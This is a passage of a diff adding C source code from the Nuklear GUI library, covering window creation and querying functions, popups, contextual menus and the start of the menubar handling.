NK_ASSERT(win); + if (!win) return 0; + + if (flags & NK_WINDOW_BACKGROUND) + nk_insert_window(ctx, win, NK_INSERT_FRONT); + else nk_insert_window(ctx, win, NK_INSERT_BACK); + nk_command_buffer_init(&win->buffer, &ctx->memory, NK_CLIPPING_ON); + + win->flags = flags; + win->bounds = bounds; + win->name = name_hash; + name_length = NK_MIN(name_length, NK_WINDOW_MAX_NAME-1); + NK_MEMCPY(win->name_string, name, name_length); + win->name_string[name_length] = 0; + win->popup.win = 0; + if (!ctx->active) + ctx->active = win; + } else { + /* update window */ + win->flags &= ~(nk_flags)(NK_WINDOW_PRIVATE-1); + win->flags |= flags; + if (!(win->flags & (NK_WINDOW_MOVABLE | NK_WINDOW_SCALABLE))) + win->bounds = bounds; + /* If this assert triggers you either: + * + * I.) Have more than one window with the same name or + * II.) You forgot to actually draw the window. + * More specific you did not call `nk_clear` (nk_clear will be + * automatically called for you if you are using one of the + * provided demo backends). */ + NK_ASSERT(win->seq != ctx->seq); + win->seq = ctx->seq; + if (!ctx->active && !(win->flags & NK_WINDOW_HIDDEN)) { + ctx->active = win; + ctx->end = win; + } + } + if (win->flags & NK_WINDOW_HIDDEN) { + ctx->current = win; + win->layout = 0; + return 0; + } else nk_start(ctx, win); + + /* window overlapping */ + if (!(win->flags & NK_WINDOW_HIDDEN) && !(win->flags & NK_WINDOW_NO_INPUT)) + { + int inpanel, ishovered; + struct nk_window *iter = win; + float h = ctx->style.font->height + 2.0f * style->window.header.padding.y + + (2.0f * style->window.header.label_padding.y); + struct nk_rect win_bounds = (!(win->flags & NK_WINDOW_MINIMIZED))? + win->bounds: nk_rect(win->bounds.x, win->bounds.y, win->bounds.w, h); + + /* activate window if hovered and no other window is overlapping this window */ + inpanel = nk_input_has_mouse_click_down_in_rect(&ctx->input, NK_BUTTON_LEFT, win_bounds, nk_true); + inpanel = inpanel && ctx->input.mouse.buttons[NK_BUTTON_LEFT].clicked; + ishovered = nk_input_is_mouse_hovering_rect(&ctx->input, win_bounds); + if ((win != ctx->active) && ishovered && !ctx->input.mouse.buttons[NK_BUTTON_LEFT].down) { + iter = win->next; + while (iter) { + struct nk_rect iter_bounds = (!(iter->flags & NK_WINDOW_MINIMIZED))? + iter->bounds: nk_rect(iter->bounds.x, iter->bounds.y, iter->bounds.w, h); + if (NK_INTERSECT(win_bounds.x, win_bounds.y, win_bounds.w, win_bounds.h, + iter_bounds.x, iter_bounds.y, iter_bounds.w, iter_bounds.h) && + (!(iter->flags & NK_WINDOW_HIDDEN))) + break; + + if (iter->popup.win && iter->popup.active && !(iter->flags & NK_WINDOW_HIDDEN) && + NK_INTERSECT(win->bounds.x, win_bounds.y, win_bounds.w, win_bounds.h, + iter->popup.win->bounds.x, iter->popup.win->bounds.y, + iter->popup.win->bounds.w, iter->popup.win->bounds.h)) + break; + iter = iter->next; + } + } + + /* activate window if clicked */ + if (iter && inpanel && (win != ctx->end)) { + iter = win->next; + while (iter) { + /* try to find a panel with higher priority in the same position */ + struct nk_rect iter_bounds = (!(iter->flags & NK_WINDOW_MINIMIZED))? + iter->bounds: nk_rect(iter->bounds.x, iter->bounds.y, iter->bounds.w, h); + if (NK_INBOX(ctx->input.mouse.pos.x, ctx->input.mouse.pos.y, + iter_bounds.x, iter_bounds.y, iter_bounds.w, iter_bounds.h) && + !(iter->flags & NK_WINDOW_HIDDEN)) + break; + if (iter->popup.win && iter->popup.active && !(iter->flags & NK_WINDOW_HIDDEN) && + NK_INTERSECT(win_bounds.x, win_bounds.y, win_bounds.w, win_bounds.h, + iter->popup.win->bounds.x, iter->popup.win->bounds.y, + iter->popup.win->bounds.w, iter->popup.win->bounds.h)) + break; + iter = iter->next; + } + } + if (iter && !(win->flags & NK_WINDOW_ROM) && (win->flags & NK_WINDOW_BACKGROUND)) { + win->flags |= (nk_flags)NK_WINDOW_ROM; + iter->flags &= ~(nk_flags)NK_WINDOW_ROM; + ctx->active = iter; + if (!(iter->flags & NK_WINDOW_BACKGROUND)) { + /* current window is active in that position so transfer to top + * at the highest priority in stack */ + nk_remove_window(ctx, iter); + nk_insert_window(ctx, iter, NK_INSERT_BACK); + } + } else { + if (!iter && ctx->end != win) { + if (!(win->flags & NK_WINDOW_BACKGROUND)) { + /* current window is active in that position so transfer to top + * at the highest priority in stack */ + nk_remove_window(ctx, win); + nk_insert_window(ctx, win, NK_INSERT_BACK); + } + win->flags &= ~(nk_flags)NK_WINDOW_ROM; + ctx->active = win; + } + if (ctx->end != win && !(win->flags & NK_WINDOW_BACKGROUND)) + win->flags |= NK_WINDOW_ROM; + } + } + win->layout = (struct nk_panel*)nk_create_panel(ctx); + ctx->current = win; + ret = nk_panel_begin(ctx, title, NK_PANEL_WINDOW); + win->layout->offset_x = &win->scrollbar.x; + win->layout->offset_y = &win->scrollbar.y; + return ret; +} +NK_API void +nk_end(struct nk_context *ctx) +{ + struct nk_panel *layout; + NK_ASSERT(ctx); + NK_ASSERT(ctx->current && "if this triggers you forgot to call `nk_begin`"); + if (!ctx || !ctx->current) + return; + + layout = ctx->current->layout; + if (!layout || (layout->type == NK_PANEL_WINDOW && (ctx->current->flags & NK_WINDOW_HIDDEN))) { + ctx->current = 0; + return; + } + nk_panel_end(ctx); + nk_free_panel(ctx, ctx->current->layout); + ctx->current = 0; +} +NK_API struct nk_rect +nk_window_get_bounds(const struct nk_context *ctx) +{ + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) return nk_rect(0,0,0,0); + return ctx->current->bounds; +} +NK_API struct nk_vec2 +nk_window_get_position(const struct nk_context *ctx) +{ + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) return nk_vec2(0,0); + return nk_vec2(ctx->current->bounds.x, ctx->current->bounds.y); +} +NK_API struct nk_vec2 +nk_window_get_size(const struct nk_context *ctx) +{ + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) return nk_vec2(0,0); + return nk_vec2(ctx->current->bounds.w, ctx->current->bounds.h); +} +NK_API float +nk_window_get_width(const struct nk_context *ctx) +{ + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) return 0; + return ctx->current->bounds.w; +} +NK_API float +nk_window_get_height(const struct nk_context *ctx) +{ + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) return 0; + return ctx->current->bounds.h; +} +NK_API struct nk_rect +nk_window_get_content_region(struct nk_context *ctx) +{ + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) return nk_rect(0,0,0,0); + return ctx->current->layout->clip; +} +NK_API struct nk_vec2 +nk_window_get_content_region_min(struct nk_context *ctx) +{ + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current) return nk_vec2(0,0); + return nk_vec2(ctx->current->layout->clip.x, ctx->current->layout->clip.y); +} +NK_API struct nk_vec2 +nk_window_get_content_region_max(struct nk_context *ctx) +{ + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current) return nk_vec2(0,0); + return nk_vec2(ctx->current->layout->clip.x + ctx->current->layout->clip.w, + ctx->current->layout->clip.y + ctx->current->layout->clip.h); +} +NK_API struct nk_vec2 +nk_window_get_content_region_size(struct nk_context *ctx) +{ + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current) return nk_vec2(0,0); + return nk_vec2(ctx->current->layout->clip.w, ctx->current->layout->clip.h); +} +NK_API struct nk_command_buffer* +nk_window_get_canvas(struct nk_context *ctx) +{ + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current) return 0; + return &ctx->current->buffer; +} +NK_API struct nk_panel* +nk_window_get_panel(struct nk_context *ctx) +{ + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) return 0; + return ctx->current->layout; +} +NK_API void +nk_window_get_scroll(struct nk_context *ctx, nk_uint *offset_x, nk_uint *offset_y) +{ + struct nk_window *win; + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) + return ; + win = ctx->current; + if (offset_x) + *offset_x = win->scrollbar.x; + if (offset_y) + *offset_y = win->scrollbar.y; +} +NK_API int +nk_window_has_focus(const struct nk_context *ctx) +{ + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current) return 0; + return ctx->current == ctx->active; +} +NK_API int +nk_window_is_hovered(struct nk_context *ctx) +{ + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) return 0; + if(ctx->current->flags & NK_WINDOW_HIDDEN) + return 0; + return nk_input_is_mouse_hovering_rect(&ctx->input, ctx->current->bounds); +} +NK_API int +nk_window_is_any_hovered(struct nk_context *ctx) +{ + struct nk_window *iter; + NK_ASSERT(ctx); + if (!ctx) return 0; + iter = ctx->begin; + while (iter) { + /* check if window is being hovered */ + if(!(iter->flags & NK_WINDOW_HIDDEN)) { + /* check if window popup is being hovered */ + if (iter->popup.active && iter->popup.win && nk_input_is_mouse_hovering_rect(&ctx->input, iter->popup.win->bounds)) + return 1; + + if (iter->flags & NK_WINDOW_MINIMIZED) { + struct nk_rect header = iter->bounds; + header.h = ctx->style.font->height + 2 * ctx->style.window.header.padding.y; + if (nk_input_is_mouse_hovering_rect(&ctx->input, header)) + return 1; + } else if (nk_input_is_mouse_hovering_rect(&ctx->input, iter->bounds)) { + return 1; + } + } + iter = iter->next; + } + return 0; +} +NK_API int +nk_item_is_any_active(struct nk_context *ctx) +{ + int any_hovered = nk_window_is_any_hovered(ctx); + int any_active = (ctx->last_widget_state & NK_WIDGET_STATE_MODIFIED); + return any_hovered || any_active; +} +NK_API int +nk_window_is_collapsed(struct nk_context *ctx, const char *name) +{ + int title_len; + nk_hash title_hash; + struct nk_window *win; + NK_ASSERT(ctx); + if (!ctx) return 0; + + title_len = (int)nk_strlen(name); + title_hash = nk_murmur_hash(name, (int)title_len, NK_WINDOW_TITLE); + win = nk_find_window(ctx, title_hash, name); + if (!win) return 0; + return win->flags & NK_WINDOW_MINIMIZED; +} +NK_API int +nk_window_is_closed(struct nk_context *ctx, const char *name) +{ + int title_len; + nk_hash title_hash; + struct nk_window *win; + NK_ASSERT(ctx); + if (!ctx) return 1; + + title_len = (int)nk_strlen(name); + title_hash = nk_murmur_hash(name, (int)title_len, NK_WINDOW_TITLE); + win = nk_find_window(ctx, title_hash, name); + if (!win) return 1; + return (win->flags & NK_WINDOW_CLOSED); +} +NK_API int +nk_window_is_hidden(struct nk_context *ctx, const char *name) +{ + int title_len; + nk_hash title_hash; + struct nk_window *win; + NK_ASSERT(ctx); + if (!ctx) return 1; + + title_len = (int)nk_strlen(name); + title_hash = nk_murmur_hash(name, (int)title_len, NK_WINDOW_TITLE); + win = nk_find_window(ctx, title_hash, name); + if (!win) return 1; + return (win->flags & NK_WINDOW_HIDDEN); +} +NK_API int +nk_window_is_active(struct nk_context *ctx, const char *name) +{ + int title_len; + nk_hash title_hash; + struct nk_window *win; + NK_ASSERT(ctx); + if (!ctx) return 0; + + title_len = (int)nk_strlen(name); + title_hash = nk_murmur_hash(name, (int)title_len, NK_WINDOW_TITLE); + win = nk_find_window(ctx, title_hash, name); + if (!win) return 0; + return win == ctx->active; +} +NK_API struct nk_window* +nk_window_find(struct nk_context *ctx, const char *name) +{ + int title_len; + nk_hash title_hash; + title_len = (int)nk_strlen(name); + title_hash = nk_murmur_hash(name, (int)title_len, NK_WINDOW_TITLE); + return nk_find_window(ctx, title_hash, name); +} +NK_API void +nk_window_close(struct nk_context *ctx, const char *name) +{ + struct nk_window *win; + NK_ASSERT(ctx); + if (!ctx) return; + win = nk_window_find(ctx, name); + if (!win) return; + NK_ASSERT(ctx->current != win && "You cannot close a currently active window"); + if (ctx->current == win) return; + win->flags |= NK_WINDOW_HIDDEN; + win->flags |= NK_WINDOW_CLOSED; +} +NK_API void +nk_window_set_bounds(struct nk_context *ctx, + const char *name, struct nk_rect bounds) +{ + struct nk_window *win; + NK_ASSERT(ctx); + if (!ctx) return; + win = nk_window_find(ctx, name); + if (!win) return; + NK_ASSERT(ctx->current != win && "You cannot update a currently in procecss window"); + win->bounds = bounds; +} +NK_API void +nk_window_set_position(struct nk_context *ctx, + const char *name, struct nk_vec2 pos) +{ + struct nk_window *win = nk_window_find(ctx, name); + if (!win) return; + win->bounds.x = pos.x; + win->bounds.y = pos.y; +} +NK_API void +nk_window_set_size(struct nk_context *ctx, + const char *name, struct nk_vec2 size) +{ + struct nk_window *win = nk_window_find(ctx, name); + if (!win) return; + win->bounds.w = size.x; + win->bounds.h = size.y; +} +NK_API void +nk_window_set_scroll(struct nk_context *ctx, nk_uint offset_x, nk_uint offset_y) +{ + struct nk_window *win; + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) + return; + win = ctx->current; + win->scrollbar.x = offset_x; + win->scrollbar.y = offset_y; +} +NK_API void +nk_window_collapse(struct nk_context *ctx, const char *name, + enum nk_collapse_states c) +{ + int title_len; + nk_hash title_hash; + struct nk_window *win; + NK_ASSERT(ctx); + if (!ctx) return; + + title_len = (int)nk_strlen(name); + title_hash = nk_murmur_hash(name, (int)title_len, NK_WINDOW_TITLE); + win = nk_find_window(ctx, title_hash, name); + if (!win) return; + if (c == NK_MINIMIZED) + win->flags |= NK_WINDOW_MINIMIZED; + else win->flags &= ~(nk_flags)NK_WINDOW_MINIMIZED; +} +NK_API void +nk_window_collapse_if(struct nk_context *ctx, const char *name, + enum nk_collapse_states c, int cond) +{ + NK_ASSERT(ctx); + if (!ctx || !cond) return; + nk_window_collapse(ctx, name, c); +} +NK_API void +nk_window_show(struct nk_context *ctx, const char *name, enum nk_show_states s) +{ + int title_len; + nk_hash title_hash; + struct nk_window *win; + NK_ASSERT(ctx); + if (!ctx) return; + + title_len = (int)nk_strlen(name); + title_hash = nk_murmur_hash(name, (int)title_len, NK_WINDOW_TITLE); + win = nk_find_window(ctx, title_hash, name); + if (!win) return; + if (s == NK_HIDDEN) { + win->flags |= NK_WINDOW_HIDDEN; + } else win->flags &= ~(nk_flags)NK_WINDOW_HIDDEN; +} +NK_API void +nk_window_show_if(struct nk_context *ctx, const char *name, + enum nk_show_states s, int cond) +{ + NK_ASSERT(ctx); + if (!ctx || !cond) return; + nk_window_show(ctx, name, s); +} + +NK_API void +nk_window_set_focus(struct nk_context *ctx, const char *name) +{ + int title_len; + nk_hash title_hash; + struct nk_window *win; + NK_ASSERT(ctx); + if (!ctx) return; + + title_len = (int)nk_strlen(name); + title_hash = nk_murmur_hash(name, (int)title_len, NK_WINDOW_TITLE); + win = nk_find_window(ctx, title_hash, name); + if (win && ctx->end != win) { + nk_remove_window(ctx, win); + nk_insert_window(ctx, win, NK_INSERT_BACK); + } + ctx->active = win; +} + + + + +/* =============================================================== + * + * POPUP + * + * ===============================================================*/ +NK_API int +nk_popup_begin(struct nk_context *ctx, enum nk_popup_type type, + const char *title, nk_flags flags, struct nk_rect rect) +{ + struct nk_window *popup; + struct nk_window *win; + struct nk_panel *panel; + + int title_len; + nk_hash title_hash; + nk_size allocated; + + NK_ASSERT(ctx); + NK_ASSERT(title); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + panel = win->layout; + NK_ASSERT(!(panel->type & NK_PANEL_SET_POPUP) && "popups are not allowed to have popups"); + (void)panel; + title_len = (int)nk_strlen(title); + title_hash = nk_murmur_hash(title, (int)title_len, NK_PANEL_POPUP); + + popup = win->popup.win; + if (!popup) { + popup = (struct nk_window*)nk_create_window(ctx); + popup->parent = win; + win->popup.win = popup; + win->popup.active = 0; + win->popup.type = NK_PANEL_POPUP; + } + + /* make sure we have correct popup */ + if (win->popup.name != title_hash) { + if (!win->popup.active) { + nk_zero(popup, sizeof(*popup)); + win->popup.name = title_hash; + win->popup.active = 1; + win->popup.type = NK_PANEL_POPUP; + } else return 0; + } + + /* popup position is local to window */ + ctx->current = popup; + rect.x += win->layout->clip.x; + rect.y += win->layout->clip.y; + + /* setup popup data */ + popup->parent = win; + popup->bounds = rect; + popup->seq = ctx->seq; + popup->layout = (struct nk_panel*)nk_create_panel(ctx); + popup->flags = flags; + popup->flags |= NK_WINDOW_BORDER; + if (type == NK_POPUP_DYNAMIC) + popup->flags |= NK_WINDOW_DYNAMIC; + + popup->buffer = win->buffer; + nk_start_popup(ctx, win); + allocated = ctx->memory.allocated; + nk_push_scissor(&popup->buffer, nk_null_rect); + + if (nk_panel_begin(ctx, title, NK_PANEL_POPUP)) { + /* popup is running therefore invalidate parent panels */ + struct nk_panel *root; + root = win->layout; + while (root) { + root->flags |= NK_WINDOW_ROM; + root->flags &= ~(nk_flags)NK_WINDOW_REMOVE_ROM; + root = root->parent; + } + win->popup.active = 1; + popup->layout->offset_x = &popup->scrollbar.x; + popup->layout->offset_y = &popup->scrollbar.y; + popup->layout->parent = win->layout; + return 1; + } else { + /* popup was closed/is invalid so cleanup */ + struct nk_panel *root; + root = win->layout; + while (root) { + root->flags |= NK_WINDOW_REMOVE_ROM; + root = root->parent; + } + win->popup.buf.active = 0; + win->popup.active = 0; + ctx->memory.allocated = allocated; + ctx->current = win; + nk_free_panel(ctx, popup->layout); + popup->layout = 0; + return 0; + } +} +NK_LIB int +nk_nonblock_begin(struct nk_context *ctx, + nk_flags flags, struct nk_rect body, struct nk_rect header, + enum nk_panel_type panel_type) +{ + struct nk_window *popup; + struct nk_window *win; + struct nk_panel *panel; + int is_active = nk_true; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + /* popups cannot have popups */ + win = ctx->current; + panel = win->layout; + NK_ASSERT(!(panel->type & NK_PANEL_SET_POPUP)); + (void)panel; + popup = win->popup.win; + if (!popup) { + /* create window for nonblocking popup */ + popup = (struct nk_window*)nk_create_window(ctx); + popup->parent = win; + win->popup.win = popup; + win->popup.type = panel_type; + nk_command_buffer_init(&popup->buffer, &ctx->memory, NK_CLIPPING_ON); + } else { + /* close the popup if user pressed outside or in the header */ + int pressed, in_body, in_header; + pressed = nk_input_is_mouse_pressed(&ctx->input, NK_BUTTON_LEFT); + in_body = nk_input_is_mouse_hovering_rect(&ctx->input, body); + in_header = nk_input_is_mouse_hovering_rect(&ctx->input, header); + if (pressed && (!in_body || in_header)) + is_active = nk_false; + } + win->popup.header = header; + + if (!is_active) { + /* remove read only mode from all parent panels */ + struct nk_panel *root = win->layout; + while (root) { + root->flags |= NK_WINDOW_REMOVE_ROM; + root = root->parent; + } + return is_active; + } + popup->bounds = body; + popup->parent = win; + popup->layout = (struct nk_panel*)nk_create_panel(ctx); + popup->flags = flags; + popup->flags |= NK_WINDOW_BORDER; + popup->flags |= NK_WINDOW_DYNAMIC; + popup->seq = ctx->seq; + win->popup.active = 1; + NK_ASSERT(popup->layout); + + nk_start_popup(ctx, win); + popup->buffer = win->buffer; + nk_push_scissor(&popup->buffer, nk_null_rect); + ctx->current = popup; + + nk_panel_begin(ctx, 0, panel_type); + win->buffer = popup->buffer; + popup->layout->parent = win->layout; + popup->layout->offset_x = &popup->scrollbar.x; + popup->layout->offset_y = &popup->scrollbar.y; + + /* set read only mode to all parent panels */ + {struct nk_panel *root; + root = win->layout; + while (root) { + root->flags |= NK_WINDOW_ROM; + root = root->parent; + }} + return is_active; +} +NK_API void +nk_popup_close(struct nk_context *ctx) +{ + struct nk_window *popup; + NK_ASSERT(ctx); + if (!ctx || !ctx->current) return; + + popup = ctx->current; + NK_ASSERT(popup->parent); + NK_ASSERT(popup->layout->type & NK_PANEL_SET_POPUP); + popup->flags |= NK_WINDOW_HIDDEN; +} +NK_API void +nk_popup_end(struct nk_context *ctx) +{ + struct nk_window *win; + struct nk_window *popup; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + popup = ctx->current; + if (!popup->parent) return; + win = popup->parent; + if (popup->flags & NK_WINDOW_HIDDEN) { + struct nk_panel *root; + root = win->layout; + while (root) { + root->flags |= NK_WINDOW_REMOVE_ROM; + root = root->parent; + } + win->popup.active = 0; + } + nk_push_scissor(&popup->buffer, nk_null_rect); + nk_end(ctx); + + win->buffer = popup->buffer; + nk_finish_popup(ctx, win); + ctx->current = win; + nk_push_scissor(&win->buffer, win->layout->clip); +} +NK_API void +nk_popup_get_scroll(struct nk_context *ctx, nk_uint *offset_x, nk_uint *offset_y) +{ + struct nk_window *popup; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + popup = ctx->current; + if (offset_x) + *offset_x = popup->scrollbar.x; + if (offset_y) + *offset_y = popup->scrollbar.y; +} +NK_API void +nk_popup_set_scroll(struct nk_context *ctx, nk_uint offset_x, nk_uint offset_y) +{ + struct nk_window *popup; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + popup = ctx->current; + popup->scrollbar.x = offset_x; + popup->scrollbar.y = offset_y; +} + + + + +/* ============================================================== + * + * CONTEXTUAL + * + * ===============================================================*/ +NK_API int +nk_contextual_begin(struct nk_context *ctx, nk_flags flags, struct nk_vec2 size, + struct nk_rect trigger_bounds) +{ + struct nk_window *win; + struct nk_window *popup; + struct nk_rect body; + + NK_STORAGE const struct nk_rect null_rect = {-1,-1,0,0}; + int is_clicked = 0; + int is_open = 0; + int ret = 0; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + ++win->popup.con_count; + if (ctx->current != ctx->active) + return 0; + + /* check if currently active contextual is active */ + popup = win->popup.win; + is_open = (popup && win->popup.type == NK_PANEL_CONTEXTUAL); + is_clicked = nk_input_mouse_clicked(&ctx->input, NK_BUTTON_RIGHT, trigger_bounds); + if (win->popup.active_con && win->popup.con_count != win->popup.active_con) + return 0; + if (!is_open && win->popup.active_con) + win->popup.active_con = 0; + if ((!is_open && !is_clicked)) + return 0; + + /* calculate contextual position on click */ + win->popup.active_con = win->popup.con_count; + if (is_clicked) { + body.x = ctx->input.mouse.pos.x; + body.y = ctx->input.mouse.pos.y; + } else { + body.x = popup->bounds.x; + body.y = popup->bounds.y; + } + body.w = size.x; + body.h = size.y; + + /* start nonblocking contextual popup */ + ret = nk_nonblock_begin(ctx, flags|NK_WINDOW_NO_SCROLLBAR, body, + null_rect, NK_PANEL_CONTEXTUAL); + if (ret) win->popup.type = NK_PANEL_CONTEXTUAL; + else { + win->popup.active_con = 0; + win->popup.type = NK_PANEL_NONE; + if (win->popup.win) + win->popup.win->flags = 0; + } + return ret; +} +NK_API int +nk_contextual_item_text(struct nk_context *ctx, const char *text, int len, + nk_flags alignment) +{ + struct nk_window *win; + const struct nk_input *in; + const struct nk_style *style; + + struct nk_rect bounds; + enum nk_widget_layout_states state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + style = &ctx->style; + state = nk_widget_fitting(&bounds, ctx, style->contextual_button.padding); + if (!state) return nk_false; + + in = (state == NK_WIDGET_ROM || win->layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + if (nk_do_button_text(&ctx->last_widget_state, &win->buffer, bounds, + text, len, alignment, NK_BUTTON_DEFAULT, &style->contextual_button, in, style->font)) { + nk_contextual_close(ctx); + return nk_true; + } + return nk_false; +} +NK_API int +nk_contextual_item_label(struct nk_context *ctx, const char *label, nk_flags align) +{ + return nk_contextual_item_text(ctx, label, nk_strlen(label), align); +} +NK_API int +nk_contextual_item_image_text(struct nk_context *ctx, struct nk_image img, + const char *text, int len, nk_flags align) +{ + struct nk_window *win; + const struct nk_input *in; + const struct nk_style *style; + + struct nk_rect bounds; + enum nk_widget_layout_states state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + style = &ctx->style; + state = nk_widget_fitting(&bounds, ctx, style->contextual_button.padding); + if (!state) return nk_false; + + in = (state == NK_WIDGET_ROM || win->layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + if (nk_do_button_text_image(&ctx->last_widget_state, &win->buffer, bounds, + img, text, len, align, NK_BUTTON_DEFAULT, &style->contextual_button, style->font, in)){ + nk_contextual_close(ctx); + return nk_true; + } + return nk_false; +} +NK_API int +nk_contextual_item_image_label(struct nk_context *ctx, struct nk_image img, + const char *label, nk_flags align) +{ + return nk_contextual_item_image_text(ctx, img, label, nk_strlen(label), align); +} +NK_API int +nk_contextual_item_symbol_text(struct nk_context *ctx, enum nk_symbol_type symbol, + const char *text, int len, nk_flags align) +{ + struct nk_window *win; + const struct nk_input *in; + const struct nk_style *style; + + struct nk_rect bounds; + enum nk_widget_layout_states state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + style = &ctx->style; + state = nk_widget_fitting(&bounds, ctx, style->contextual_button.padding); + if (!state) return nk_false; + + in = (state == NK_WIDGET_ROM || win->layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + if (nk_do_button_text_symbol(&ctx->last_widget_state, &win->buffer, bounds, + symbol, text, len, align, NK_BUTTON_DEFAULT, &style->contextual_button, style->font, in)) { + nk_contextual_close(ctx); + return nk_true; + } + return nk_false; +} +NK_API int +nk_contextual_item_symbol_label(struct nk_context *ctx, enum nk_symbol_type symbol, + const char *text, nk_flags align) +{ + return nk_contextual_item_symbol_text(ctx, symbol, text, nk_strlen(text), align); +} +NK_API void +nk_contextual_close(struct nk_context *ctx) +{ + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) return; + nk_popup_close(ctx); +} +NK_API void +nk_contextual_end(struct nk_context *ctx) +{ + struct nk_window *popup; + struct nk_panel *panel; + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) return; + + popup = ctx->current; + panel = popup->layout; + NK_ASSERT(popup->parent); + NK_ASSERT(panel->type & NK_PANEL_SET_POPUP); + if (panel->flags & NK_WINDOW_DYNAMIC) { + /* Close behavior + This is a bit of a hack solution since we do not know before we end our popup + how big it will be. We therefore do not directly know when a + click outside the non-blocking popup must close it at that direct frame. + Instead it will be closed in the next frame.*/ + struct nk_rect body = {0,0,0,0}; + if (panel->at_y < (panel->bounds.y + panel->bounds.h)) { + struct nk_vec2 padding = nk_panel_get_padding(&ctx->style, panel->type); + body = panel->bounds; + body.y = (panel->at_y + panel->footer_height + panel->border + padding.y + panel->row.height); + body.h = (panel->bounds.y + panel->bounds.h) - body.y; + } + {int pressed = nk_input_is_mouse_pressed(&ctx->input, NK_BUTTON_LEFT); + int in_body = nk_input_is_mouse_hovering_rect(&ctx->input, body); + if (pressed && in_body) + popup->flags |= NK_WINDOW_HIDDEN; + } + } + if (popup->flags & NK_WINDOW_HIDDEN) + popup->seq = 0; + nk_popup_end(ctx); + return; +} + + + + + +/* =============================================================== + * + * MENU + * + * ===============================================================*/ +NK_API void +nk_menubar_begin(struct nk_context *ctx) +{ + struct nk_panel *layout; + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + layout = ctx->current->layout; + NK_ASSERT(layout->at_y == layout->bounds.y); + /* if this assert triggers you allocated space between nk_begin and nk_menubar_begin. + If you want a menubar the first nuklear function after `nk_begin` has to be a + `nk_menubar_begin` call. Inside the menubar you then have to allocate space for + widgets (also supports multiple rows). + Example: + if (nk_begin(...)) { + nk_menubar_begin(...); + nk_layout_xxxx(...); + nk_button(...); + nk_layout_xxxx(...); + nk_button(...); + nk_menubar_end(...); + } + nk_end(...); + */ + if (layout->flags & NK_WINDOW_HIDDEN || layout->flags & NK_WINDOW_MINIMIZED) + return; + + layout->menu.x = layout->at_x; + layout->menu.y = layout->at_y + layout->row.height; + layout->menu.w = layout->bounds.w; + layout->menu.offset.x = *layout->offset_x; + layout->menu.offset.y = *layout->offset_y; + *layout->offset_y = 0; +} +NK_API void +nk_menubar_end(struct nk_context *ctx) +{ + struct nk_window *win; + struct nk_panel *layout; + struct nk_command_buffer *out; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + out = &win->buffer; + layout = win->layout; + if (layout->flags & NK_WINDOW_HIDDEN || layout->flags & NK_WINDOW_MINIMIZED) + return; + + layout->menu.h = layout->at_y - layout->menu.y; + layout->bounds.y += layout->menu.h + ctx->style.window.spacing.y + layout->row.height; + layout->bounds.h -= layout->menu.h + ctx->style.window.spacing.y + layout->row.height; + + *layout->offset_x = layout->menu.offset.x; + *layout->offset_y = layout->menu.offset.y; + layout->at_y = layout->bounds.y - layout->row.height; + + layout->clip.y = layout->bounds.y; + layout->clip.h = 